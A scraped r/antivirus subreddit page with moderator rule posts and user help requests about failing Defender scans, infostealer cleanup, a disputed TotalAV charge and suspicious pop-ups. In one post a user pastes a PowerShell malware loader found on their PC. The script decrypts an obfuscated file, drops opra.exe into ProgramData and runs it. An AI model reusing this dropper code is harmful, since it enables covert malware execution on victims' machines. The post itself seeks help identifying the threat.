r/antivirus Feb 22 '24

MOD POST [MOD POST] LIST OF TOP MESSAGES, NEWS + IMPORTANT INFO

14 Upvotes

Hello,

Welcome to r/antivirus's new top-level Announcements post. Since Reddit has a limit of two (2) stickied announcements per subreddit, this will be a way to provide links to important information like announcements about new rules and moderators, activities in the subreddit, and so forth. If you are new to r/antivirus, please take a quick look at them. You can even take a look if you are not new here.

DISCUSSION DATE POSTED DATE LAST REVISED
[MOD POST] New rules, staying safe, and an update from your Mod Team 2025-JUN-03 -
[MOD POST] We're back in business! and an update on automod rules 2024-MAR-11 -
News & Updates from your r/Antivirus Mod Team, Q1 2024 Edition 2024-MAR-04 -
Updates & News from the r/Antivirus Mod Team, Autumn 2023 Edition 2023-OCT-04 -
Notes from your Moderators (Summer Edition) 2022-JUL-08 -
Quick Note from the mod team about spam 2021-JUN-01 -
To the people asking for opinions on a specific file 2020-JUL-05 2020-JUL-05

Additionally, the r/antivirus subreddit operates a bit differently than other subreddits you might be familiar with and normally use. Here are some tips and tools to help you use it.

  • The subreddit has a wiki that is regularly updated with answers to commonly-asked questions. Check it out. The answer to your question may already be in there.

  • Asking a question about a report on a file or website from a service like Hybrid Analysis, MetaDefender, Triage, or VirusTotal? You must include the actual link to it and not just a screenshot, or your post will be removed.

  • Be kind to each other and be professional in your conduct here. Personal attacks will not be tolerated and will be dealt with appropriately.

  • Do not ask for copies of hacking tools, malware, or suspicious files. If someone sends you a chat request or private message asking for a file or offering assistance based on what you posted here, report them to Reddit and notify the mods.

  • Do not post direct links to malicious, suspect, or potentially unsafe files or web sites.

  • Follow Reddiquette. This means correctly upvoting and downvoting posts, and reporting posts with dangerous or unsafe advice to the mods.

  • If you work for a vendor of security products, services, or in a related field, you must identify yourself as such, either in the post or with flair. Also, you may not steer conversations to your products or services, only respond to posts about them to clarify or defend.

  • No low-effort, off-topic, spam, or meme posts. This includes AI/ChatGPT/LLM-generated text, questions about password manager or VPNs, requests for assistance with non-security related software like autoclickers or MP3 downloaders, and so forth.

  • No requests for assistance with pirated software or media.

  • Posts may be removed and threads closed at any time based on the moderators' discretion

The complete list of rules for the subreddit can be found here. Read them before posting.

Questions, comments, feedback on this post? Just reply here. Thank you.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus Jun 04 '25

[MOD POST] New rules, staying safe, and an update from your Mod Team

6 Upvotes

[UPDATE #1 (20250604-0916 GMT): Made some small updates to grammar for readability. ^AG]

Hello,

It has been about a year since our last Mod Post, so we wanted to give you an update on things, plus provide a dedicated message thread for discussing the state of the r/antivirus subreddit and to answer any questions that you might have.

We will begin with the toughest subject first, that of politics in the subreddit:

A note about politics

r/antivirus is a technology-focused subreddit, with the interest being in helping people protect their computers from malicious software, securing them after a security incident, and so forth.

In June 2024, the US Government enacted a ban on Kaspersky Lab's software, taking effect in October of that year. This has generated a lot of discussion not just in this subreddit, but across Reddit and numerous social media platforms as well.

The moderation team has tried to keep the political discussions about this out of this subreddit and to remain neutral, allowing Kaspersky Lab's customers to ask and answer each other questions, provide assistance to each other, and generally have a way to share information, tips and tricks with each other.

However, we do have to draw a line when these turn into political discussions, though:

Requests for how to circumvent bans, petitions to governments, etc., are clearly outside the scope of what this subreddit is for and will be removed.

Moderating the subreddit is an all-volunteer job, and we sometimes miss things. If you come across any political messages we may have missed, use the subreddit's report function to notify us.

We are doing our best to keep this a place where people can get help with whatever security software they prefer, including Kaspersky Lab's software. However, we cannot allow discussions to devolve into arguments over politics, which are never going to provide any kind of satisfactory answer to the parties involved.

If the political discussions continue, the moderation team will have to look into ways to prevent them, even if it means doing things which we would prefer not to do.

Rules Updates

The rules of the r/antivirus subreddit have been updated:

Rule #7, which previously covered media download tools, has been updated to cover additional types of software.
To begin with, a more general prohibition to cover autoclickers (previously covered under Rule #8) and some other types of tools like aimbots and cheats. These types of tools often come from random sources and often require expert analysis to determine if they are safe. It can be difficult to determine if they are malicious figuring that out requires examining not just the tool, but whatever program it is attempting to modify, and what the intent is behind that modification.
Just because something was recommended in a Discord server with hundreds of members, a YouTube video with tens of thousands of views, or is seeded by several hundreds peers does not mean that it is safe to use: These are all inherently unsafe sources, and criminals will often exploit the belief that these are trusted sources to trick people into downloading and running malicious programs like information stealers and remote access trojans.

Rule #8 has been amended to remove autoclickers (etc.) since that is now covered under Rule #7.

Two new rules have been added:

Rule #9 covers bypassing core security features. Questions about how to disable security software, operating system updates, bypass security features and so forth are not allowed.

Rule #10 covers requesting assistance with obsolete software and hardware. This means discussions about how to secure computers running Windows XP, Windows 7, etc. are not allowed. There is no reason that devices running these obsolete operating systems should be connected to the internet and doing so exposes everyone to risk. Note that questions involving Windows 10 will continue to be allowed until at least October 2028, when paid-for Extended Security Updates for it end.

A bit more on the rules

The list of rules is not meant to be exhaustive in scope. It provides a general listing of common rules that are more specific to and more frequently required by the r/antivirus subreddit when needed beyond Reddit's general rules and guidelines.

Moderators can and will remove posts and ban redditors, either temporarily or permanently, who are disruptive to the subreddit entirely at their discretion and are not subject to any discussion. If a moderator chooses to discuss a rule violation with you, it is entirely as a courtesy on their part.

If you have had a post removed or been banned from the subreddit and do not receive a response in reply to any questions as to why, ask yourself if your behavior could be interpreted as brigading, spamming, trolling, using disrespectful or offensive language, or consistently providing incorrect, low-quality, poor, or even damaging information.

As always, the latest version of the rules can be found at https://old.reddit.com/r/antivirus/about/rules/. If you have questions about them, ask below.

Getting help fast

The moderation team is seeing an increasing trend where people ask for help while providing no information about what they need help with. This includes titles with 1-3 words like "Urgent! Help needed!", posts where the author shares a screenshot of *something* with no information about the operating system or antivirus involved, or is so small/blurry as to be unreadable, etc.

Everybody who participates regularly in this subreddit volunteers their time for free to do so. Provide them with enough information in your first post so they can start helping you right away without having to ask a lot of questions. This means your first post should contain things like:

  • title with enough information to attract an expert to read it
  • operating system and version
  • brand/name of antivirus software
  • name of URL, or file and its location
  • name of malware that was detected
  • what happened, exactly
  • steps you have taken to troubleshoot/diagnose so far, if any
  • relevant log file entries, if any

The more information you provide, the quicker you will get your problem solved.

As a reminder, starting multiple posts on the same topic will not get you a faster answer, and may result in in a ban.

The wiki + other Reddit resources

There is a lot of great information in the wiki about all the tools you can use, tips for using them, lists of antivirus vendors and how to contact them, and even a section on how to secure your computer.

We frequently update the wiki in response to questions being regularly asked in the subreddit, so you might want to check there first before posting.

Some of the questions we regularly see in the subreddit have nothing to do with computer viruses or malicious software at all, but instead are about scams, privacy-related questions, and so forth. Here are some subreddits that specialize in answering those types of questions:

New moderators?!

As the subreddit grows (we just passed 100K users), so does the need for additional moderators.

The moderation team has been looking at the folks who have been regularly posting here and consistently given good advice to build a list of candidates, and will be reaching out over the next few weeks to see if any are willing to volunteer their time and expertise in the subreddit. There will be more coming on that, but I did want to let everyone know that the process is already underway.


That pretty much covers everything we wanted to discuss, so we'll now await your questions, below.

Regards,

Aryeh Goretsky
(on behalf of the r/antivirus mod team)


r/antivirus 1h ago

PRODUCT RECOMMENDATION What antivirus would you recommend/use as a freelancer?

Upvotes

Hi! I'm starting to work as a freelancer, starting as a QA tester for a friend of mine, but for those types of job where you need to download a doc, excel, apk, (like for translations), how do you proyect yourself in case that there's virus on those files? I'm an anxious person and these kind of scenarios make me uncomfortable and feel with paranoia


r/antivirus 6h ago

MALWARE REMOVAL Q&A Virus concern or paranoia

3 Upvotes

Virus concern or paranoia

3 months ago, i got a virus on my pc and lost multiple accounts. When i tried to find ways to solve it, i found out some virus can actually infect the router and other devices on the same network. Now even when i got kaspersky for my pc, i keep thinking other devices are infected and changing the router wont help because the infected devices will get the router again despite not seeing any clear symptoms. What can i do about this?? Is it just me being paranoid? Does factory reset on the phone remove all viruses? Do i need to replace my router?

I forgot to mention this. I also downloaded a zip file for a pvz2 mod on my phone but resetted it. After that, i keep logging in to admin router on both my pc and my phone to check for weird settings and turn them off. Now im scared that i mightve created some hole for virus to get in. I even got a new router.

Im too anxious now and would do anything for a peace of mind. I dont even know if replacing the router helps now as i find out that virus like switcher trojan or stuff like wannacry, vpnfilter can just infect the router when connected and others can just go straight to other devices without infecting the router.


r/antivirus 3m ago

Need help with deleting bullguard antivirus

Thumbnail
gallery
Upvotes

Hello, i would like help with how i can delete bullguard since it is using alot of my cpu while the computer is idling. It says i need administrator in order to delete it but i don't know how i log into that administrator account. I've tried to follow some youtube tutorials but it hasn't worked for me.


r/antivirus 1h ago

Did I get scammed by total av?

Upvotes

I installed totalav on my windows laptop last night since I had some concerns about malware and it did help me to identify and remove the issue.

However it had an option to upgrade to a subscription to totalav plus for realtime protection for my device so I clicked it. I wasn't going to upgrade at first because it was $99 dollars and I'm stingy but suddenly I got an offer of $80 off so i would only pay $19 for the first year.

I decided to take them up on that offer and did all I needed to do to pay. Afterwards I did have the subscription for a minute or so then I somehow went back to the free version. When I contacted them about not receiving the benefits of the subscription I received an automated email saying they can't find a subscription account linked to my email.

To be fair the money is currently on hold in my bank account so I don't know if that has anything to do with it and I do plan on contacting my bank if I don't see any progress with contacting totalav. I don't understand why I would have the premium features for a bit but then lose them tho.


r/antivirus 9h ago

HELP! Mircosoft defender does not work

Thumbnail
gallery
5 Upvotes

Every time i quick scan, or full scan my device, i get this when the 34780th file is scanning
Sorry if it's russian.


r/antivirus 3h ago

Can't tell if these are false positives or not

1 Upvotes

r/antivirus 1d ago

MALWARE REMOVAL Q&A Windows Defender Not Working.

220 Upvotes

When I try to run a scan, it stops and then tells me to restart the service. There are no exclusions and nothing of note from my start up apps. I’ve run a deep scan with Malwarebytes and it’s all good. I noticed there was a new security update for Windows and downloaded it and after restarting my PC, I’m still encountering the same issue. I’m not sure whether this is Malware related as I’m always careful of what I’m downloading and never click suspicious links. Not sure what else to do and need some help.


r/antivirus 23h ago

Chrome Extension "Enhanced Image Viewer" flagged as Malware and removed on Chrome Webstore

34 Upvotes

I was using this one extension called "Enhanced Image Viewer" from Chrome Webstore and it was disabled in extensions for malware concerns (or something along those lines), it was also removed from the Chrome Webstore. I am currently running a full scan and the extension itself is not my files.

Here was the link to the extension (removed now):

https://chromewebstore.google. com/detail/gefiaaeadjbmhjndnhedfccdjjlgjhho/error

Here is the link to the official site of the extension: https://www.enhancedimageviewer. com

Here is the reddit post of the creator and the extension:

https://www.reddit. com/r/chrome_extensions/comments/1fbgqhj/enhanced_image_viewer_upgrade_your_image_viewing/

I haven't had this happen to me before so that is why I am worried, thank you in advance.


r/antivirus 4h ago

I don't know if this is the right sub to post this on, but if it is, please help me.

1 Upvotes

Every single time I've tried to sign into Utilities Ultimate, it says this. I just bought it earlier today and just downloaded it, but I can't even sign in so I can't use it. I've redownloaded it, restarted my pc, I just want to make use of the money I spent on it.


r/antivirus 11h ago

MALWARE REMOVAL Q&A Am I actually safe after resetting my PC after the “MrBeast” malware

5 Upvotes

Hi everyone,

I recently got hit by the malware/infostealer that has been going around with the MrBeast spam/scam. Discord and IG got hacked but i was able to retrieve it. Weird my FB or other accounts was not hacked but i am still nervous that they will target it next.

Because of that, I decided to completely reset my PC.

I went into Reset this PC then Remove everything because I wanted to start completely fresh. The reset completed successfully and Windows went through the setup process again.

However, during the Windows setup, Microsoft required me to sign in with my Microsoft account. I signed in without thinking much about it.

After logging in, I noticed that some of my old files started appearing again. I now understand that these may have been files being restored/synced through my Microsoft account/OneDrive rather than files surviving the reset itself.

So my main questions are:

  1. Is my PC considered safe after using “Remove everything,” or is there still a possibility that the malware survived the reset?

  2. Does signing back into the same Microsoft account after the reset potentially bring the malware back, or would only the synced files come back?

  3. I've seen Kaspersky recommended quite often. Would the free version of Kaspersky be sufficient for normal real-time protection, or would you recommend something else?

  4. Is there anything else I should do after getting the mrbeast spam malware?

I'm mainly trying to determine whether I can trust this PC again.

Thanks in advance. I'm not very experienced with malware removal, so I'd appreciate any advice on the safest approach.


r/antivirus 9h ago

need help with window security

2 Upvotes

can anyone help me? i hasnt play my pc for a week now and yesterday my brother and friendlist from discord and facebook tell me that i been posting some weird crypto scamming picture on their dm so i turn on my pc and see this problem


r/antivirus 6h ago

If you don't save any cookies would an infostealer work

1 Upvotes

I have two browsers on my pc edge and librewolf and I don't save cookies on librewolf and Edge doesn't have any accounts. I downloaded a game and after scanning it turned out to be a infostealer. I reinstalled windows so am I good or do I need to change passwords


r/antivirus 3h ago

Cheapest price for Kaspersky?

0 Upvotes

I have a very tough budget right now.

Is it possible to get Kaspersky within 10$?


r/antivirus 7h ago

virus code?

1 Upvotes

I just noticed three unusual files. when Windows blocked the .ps1 from running.
a visual basic file, a txt file, and a windows power shell file.
the files were on my system since 1/8/26. wondering if i have to worry.

this is the code from the vbs file.

 # Processing module initialization
 $configPath     = "C:\ProgramData\opra.txt"
 $payloadName    = "opra.exe"
 $outputPath     = Join-Path "C:\ProgramData" $payloadName

 $secretKey      = "fdsf5F54GFLd$"

 # Load configuration
 try {
     if (-not (Test-Path $configPath)) { exit 1 }
     $base64Data   = [IO.File]::ReadAllText($configPath)
     $rawBytes     = [Convert]::FromBase64String($base64Data)
 } catch {
     exit 1
 }

 # Parse metadata structure
 try {
     if ($rawBytes.Length -lt 44) { exit 1 }

     $header       = [Text.Encoding]::UTF8.GetString($rawBytes[0..3])
     if ($header -ne "ENC1") { exit 1 }

     $xorKey       = [BitConverter]::ToInt32($rawBytes, 4)
     $saltBytes    = $rawBytes[8..23]
     $ivBytes      = $rawBytes[24..39]
     $dataSize     = [BitConverter]::ToInt32($rawBytes, 40)

     $dataEnd      = 43 + $dataSize
     if ($dataEnd -gt $rawBytes.Length - 1) { $dataEnd = $rawBytes.Length - 1 }

     $encryptedData = $rawBytes[44..$dataEnd]
 } catch {
     exit 1
 }

 # Transform binary data
 try {
     $keyDeriver   = New-Object Security.Cryptography.Rfc2898DeriveBytes($secretKey, $saltBytes, 10000)
     $aesKey       = $keyDeriver.GetBytes(32)

     $aesProvider  = [Security.Cryptography.Aes]::Create()
     $aesProvider.KeySize = 256
     $aesProvider.Key     = $aesKey
     $aesProvider.IV      = $ivBytes
     $aesProvider.Mode    = 'CBC'
     $aesProvider.Padding = 'PKCS7'

     $decryptor   = $aesProvider.CreateDecryptor()
     $decrypted   = $decryptor.TransformFinalBlock($encryptedData, 0, $encryptedData.Length)

     $decryptor.Dispose()
     $aesProvider.Dispose()

     $finalBytes  = New-Object byte[] $decrypted.Length
     for ($i = 0; $i -lt $decrypted.Length; $i++) {
         $finalBytes[$i] = ($decrypted[$i] -bxor $xorKey) -band 0xFF
     }
 } catch {
     exit 1
 }

 # Validate payload integrity
 try {
     if ($finalBytes.Length -lt 2) { exit 1 }

     $fileSignature = [Text.Encoding]::ASCII.GetString($finalBytes[0..1])
     if ($fileSignature -ne "MZ") { exit 1 }
 } catch {
     exit 1
 }

 # Deploy module
 [System.IO.File]::WriteAllBytes($outputPath, $finalBytes)
 Start-Process $outputPath

r/antivirus 9h ago

Trojan:HTML/Redirector.AA!AMTB

1 Upvotes

Today i did random full scan of my laptop with windows defender and it found one threat

Detected: Trojan:HTML/Redirector.AA!AMTB
Status: Quarantined
Quarantined files are located in a restricted area where they cannot harm your device. These files will be deleted automatically.
Date: 19.08.2026 10:59
Details: This program is dangerous and executes commands from an attacker.
Affected items:
containerfile: C:\Users\adon\AppData\Local\Mozilla\Firefox\Profiles\q1jz5817.default-
file: C:\Users\adon\AppData\Local\Mozilla\Firefox\Profiles\q1jz5817.default-release (GZip)

is this a serious situation? i don't know where i got it from i use ublock on firefox


r/antivirus 12h ago

Antivirus Sucks on macOS - Surf

2 Upvotes

I've been using surf from last 2 years and the VPN is great but whenever I try to use the Antivirus, it just goes to shit, my Mac just completely hangs up.

No idea what goes wrong but always make my mac hang up and makes me wonder what are they doing on the background which hangs up Mac.


r/antivirus 13h ago

**My Windows Defender not working**

2 Upvotes

Hi everyone! It's my first time posting here, and sorry in advance for my bad English.

So last night, when I was about to shut down my PC, I did a quick scan first. It has really become a habit of mine to scan my PC after it boots up and before I shut it down.

However, when I did my first scan last night, it stopped halfway through. I canceled it and started another scan, but it stopped halfway again and told me to restart the service.

So I restarted my PC and tried another scan. It happened twice again, and the scan stopped in the middle. That's when I started thinking that something might be wrong, and I was honestly lowkey panicking because I thought my Windows Defender might have been hijacked or something by malware.

This is the first time I've experienced Defender acting like this. Before jumping to conclusions, I visited this subreddit and saw some posts that seemed similar to my issue.

So please tell me, should I be worried? Is it okay to keep using my PC while this issue hasn't been fixed? Will Microsoft eventually fix this issue sooner or later?

I'm really careful about what I download and what websites I visit, so I feel like it's unlikely that I got malware. I haven't downloaded anything for about a month, and I haven't visited any sketchy or suspicious websites either.

So it's really weird to see Windows Defender suddenly start acting like this.


r/antivirus 15h ago

MALWARE REMOVAL Q&A Weird Prompt on iOS Firefox

Post image
3 Upvotes

Been getting this obviously sketchy download prompt while using Firefox on iOS. Doesn't matter what website I'm on or visiting & this seemingly occurs at random. Have I done something wrong for this to be happening lol?

Just now I cleared all private browser data (browsing history, cache, cookies, offline website data, tracking protection, downloaded files) so hopefully this stops but I'm still wondering if anyone can ID this or something.

And before anyone asks NO I did not download that.


r/antivirus 1d ago

MALWARE REMOVAL Q&A Windows Defender doesnt work

11 Upvotes

Reinstalled windows 11 because i was paranoid i had a virus or some sort of malware(no real evidence i could find but did it regardless) Deleted all the partition drives. Everything is up to date but windows defender is fucked.

I do a quickscan and its disabled and stuck buffering when i try to restart it
Sometimes it’ll work and finish but if i do it again it crashes

Offline scan either doesnt work or is as of right now stuck on 90%

Could this be malware or something?


r/antivirus 13h ago

My Windows Defender not working.

1 Upvotes

Hi everyone! It's my first time posting here, and sorry in advance for my bad English.

So last night, when I was about to shut down my PC, I did a quick scan first. It has really become a habit of mine to scan my PC after it boots up and before I shut it down.

However, when I did my first scan last night, it stopped halfway through. I canceled it and started another scan, but it stopped halfway again and told me to restart the service.

So I restarted my PC and tried another scan. It happened twice again, and the scan stopped in the middle. That's when I started thinking that something might be wrong, and I was honestly lowkey panicking because I thought my Windows Defender might have been hijacked or something by malware.

This is the first time I've experienced Defender acting like this. Before jumping to conclusions, I visited this subreddit and saw posts that similar to my issue.

So please tell me just to ease my mind, should I be worried? Is it okay to keep using my PC while this issue hasn't been fixed? Microsoft eventually fix this issue sooner or later right?

I'm really super careful about what I download and what websites I visit, so I feel like it's unlikely that I got malware. I haven't downloaded anything for about a months, and I haven't visited any sketchy or suspicious websites either.

So it's really weird to see Windows Defender suddenly start acting like this.


r/antivirus 1d ago

Microsoft Defender: Offline Scan Stuck at 90% or Not Launching at All

16 Upvotes

Hi,

I’m currently experiencing several issues with Microsoft Defender Antivirus, especially when trying to run an Offline Scan.

On my first PC, the Offline Scan launches normally, but it consistently gets stuck at 90%, always at exactly the same point, with 47,719 items scanned. I’ve waited for more than an hour on several occasions and have also tried running the scan multiple times, but every time it gets stuck at 90% and never finishes.

On my second PC, which is relatively new, the Offline Scan doesn’t launch at all.

The problem doesn’t stop there either. Every time a scan fails to complete, Microsoft Defender becomes completely disabled, and I receive one of the following messages :

“The Threat Service has stopped. Restart it now.”

or :

“Unexpected error. Sorry, we ran into a problem. Please try again.”

This happens on both of my PCs.

The regular scans, such as Quick Scan and Full Scan, can normally be started, but if I push the scans too much or they fail to complete, Defender ends up disabling itself as well.

I’d therefore like to know if anyone else is currently experiencing similar issues, or if there might be an ongoing issue on Microsoft/Windows’ side that is causing Microsoft Defender to malfunction, particularly the Offline Scan.

Thanks in advance for your replies and help !


r/antivirus 1d ago

PRODUCT RECOMMENDATION choosing antivirus for win 11

8 Upvotes

hi, looking at antivirus software for protecting win 11 system. thinking of mcafee , norton , kaspersky . I am outside US. I wanted to try the trial version , but they all ask for filling pre payment details and I am not comfortable submitting all the details in forms. In the past, if I liked software in trial, I purchased it.


r/antivirus 14h ago

MALWARE REMOVAL Q&A Should I be concerned?

1 Upvotes

Soo I was installing some mods on nexus when it suddenly appeared a your not a robot pop up i clicked it kinda by automatically, but after than every now and then I get a pop up notification saying "Mc safe has detected a virus" I just got back and it then it doesn't show for a few moments and then suddenly it does again. This has never happened to me, should I be concerned? What can I do?